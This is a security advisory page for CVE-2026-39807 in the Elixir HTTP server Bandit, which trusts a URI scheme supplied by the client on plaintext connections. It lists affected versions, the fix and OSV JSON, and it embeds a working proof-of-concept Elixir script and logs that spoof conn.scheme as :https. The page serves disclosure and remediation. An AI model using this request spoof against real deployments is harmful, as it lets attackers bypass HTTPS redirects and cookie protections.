CVE-2026-39807: Bandit Bandit Trusts Client-supplied URI Scheme Vulnerability

MODERATE
Advisory Identifier: GHSA-375f-4r2h-f99j
CWE-807
Published
Advisory Summary

CVE-2026-39807 is a MODERATE bandit trusts client-supplied uri scheme vulnerability (CWE-807: Reliance on Untrusted Inputs in a Security Decision) affecting Bandit libraries in the Hex ecosystem. The issue involves bandit trusts client-supplied uri scheme on plaintext connections. Remediation is available by upgrading affected packages to version 1.11.0.

CVE-2026-39807 at a Glance

CVE Identifier CVE-2026-39807
GHSA Identifier GHSA-375f-4r2h-f99j
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-807: Reliance on Untrusted Inputs in a Security Decision
Affected Product Bandit
Package Ecosystem Hex
Published Date
Last Updated

How to Fix CVE-2026-39807

To remediate this vulnerability, upgrade all affected Bandit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bandit fixed: 1.11.0
Upgrade bandit to 1.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for bandit

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39807, inspect your project dependencies for Bandit:

inspect dependencies for bandit

Analyze the terminal output to locate any version of Bandit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision, where the product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. In Bandit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Bandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s "already secure, don't redirect" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted. The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28 ### Details The bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -> scheme` — i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely. Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1`. - HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client. Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: "https"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate. **Suggested fix:** when `secure?` is `true`, force the scheme to `"https"`; when `false`, force it to `"http"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme. ### PoC A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends: ``` GET https://127.0.0.1:4321/ HTTP/1.1 Host: 127.0.0.1:4321 Connection: close ``` A correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof. ### Impact Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include: - `Plug.SSL` skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely. - Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions. - Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call. The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`. ### Script and Logs ```elixir # Bandit reflects the client-supplied scheme into conn.scheme. # # lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme # appears on the request target, ignoring the `secure?` flag that records # the actual transport state. HTTP/1.1 absolute-form request targets # (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both # attacker-controlled strings that flow into this function. Over a # plaintext connection, a client can claim `https` and Bandit hands a # `%Plug.Conn{scheme: :https}` to the application — even though no TLS # was negotiated. # # Downstream Plug consumers that branch on `conn.scheme` are misled: # Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie # flagging, audit logs, CSRF/SameSite gating, etc. # # This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one # HTTP/1.1 absolute-form request with scheme `https://`, and prints the # `conn.scheme` the application observes. A fixed server should report # `:http` (or reject the request); the buggy server reports `:https`. # # Run: elixir scripts/bandit/http1_scheme_spoofing.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ]) defmodule SchemeApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n" Plug.Conn.send_resp(conn, 200, body) end end defmodule SchemeSpoof do @port 4321 def run do {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port) {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) # Absolute-form request target with scheme "https" over a plaintext # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request; # nothing about it implies the connection is TLS. request = "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Connection: close\r\n" <> "\r\n" log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.") :ok = :gen_tcp.send(sock, request) {:ok, response} = :gen_tcp.recv(sock, 0, 5_000) :gen_tcp.close(sock) log("Server response:") IO.puts(response) cond do response =~ "conn.scheme=:https" -> log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.") log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.") response =~ "conn.scheme=:http" -> log("Server forced scheme to :http — bug appears patched.") true -> log("Unexpected response shape.") end end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end SchemeSpoof.run() ``` ```logs 12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`. [10:53:25.316] Server response: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 10:53:25 GMT content-length: 47 vary: accept-encoding cache-control: max-age=0, private, must-revalidate This is what the Plug sees: conn.scheme=:https [10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket. [10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this. ```

CVE-2026-39807 Affected Bandit Versions

1 component(s)
Fixed Versions:
1.11.0
Product / Package Ecosystem Affected Versions Fixed Version
bandit
Hex
≥ 1.0.0
< 1.11.0
1.11.0

References

Frequently Asked Questions

What is CVE-2026-39807?
CVE-2026-39807 is a security vulnerability in Bandit involving Bandit trusts client-supplied URI scheme on plaintext connections under CWE-807: Reliance on Untrusted Inputs in a Security Decision.
Which Bandit versions are affected?
Affected versions include releases prior to 1.11.0 across affected packages: bandit.
What version fixes CVE-2026-39807?
Upgrading to 1.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bandit affected?
Yes, bandit is affected in releases prior to 1.11.0. Upgrade your dependency to 1.11.0 or later.
What CWE is associated with CVE-2026-39807?
CVE-2026-39807 is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision (The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.).
How can I check Hex dependencies for CVE-2026-39807?
Run the dependency tree command: 'inspect dependencies for bandit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-375f-4r2h-f99j",
  "modified" : "2026-05-07T03:47:29Z",
  "published" : "2026-05-07T03:47:29Z",
  "aliases" : [ "CVE-2026-39807" ],
  "summary" : "Bandit trusts client-supplied URI scheme on plaintext connections",
  "details" : "### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s \"already secure, don't redirect\" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -> scheme` — i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP→HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application — even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL's \"already secure, don't redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"}\n])\n\ndefmodule SchemeApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n    Plug.Conn.send_resp(conn, 200, body)\n  end\nend\n\ndefmodule SchemeSpoof do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    # Absolute-form request target with scheme \"https\" over a plaintext\n    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;\n    # nothing about it implies the connection is TLS.\n    request =\n      \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" <>\n        \"Host: 127.0.0.1:#{@port}\\r\\n\" <>\n        \"Connection: close\\r\\n\" <>\n        \"\\r\\n\"\n\n    log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    :gen_tcp.close(sock)\n\n    log(\"Server response:\")\n    IO.puts(response)\n\n    cond do\n      response =~ \"conn.scheme=:https\" ->\n        log(\"VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\")\n        log(\"Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n      response =~ \"conn.scheme=:http\" ->\n        log(\"Server forced scheme to :http — bug appears patched.\")\n\n      true ->\n        log(\"Unexpected response shape.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "bandit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39807"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-39807.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mtrudel/bandit"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39807"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-807" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T03:47:29Z",
    "nvd_published_at" : "2026-05-01T21:16:17Z"
  }
}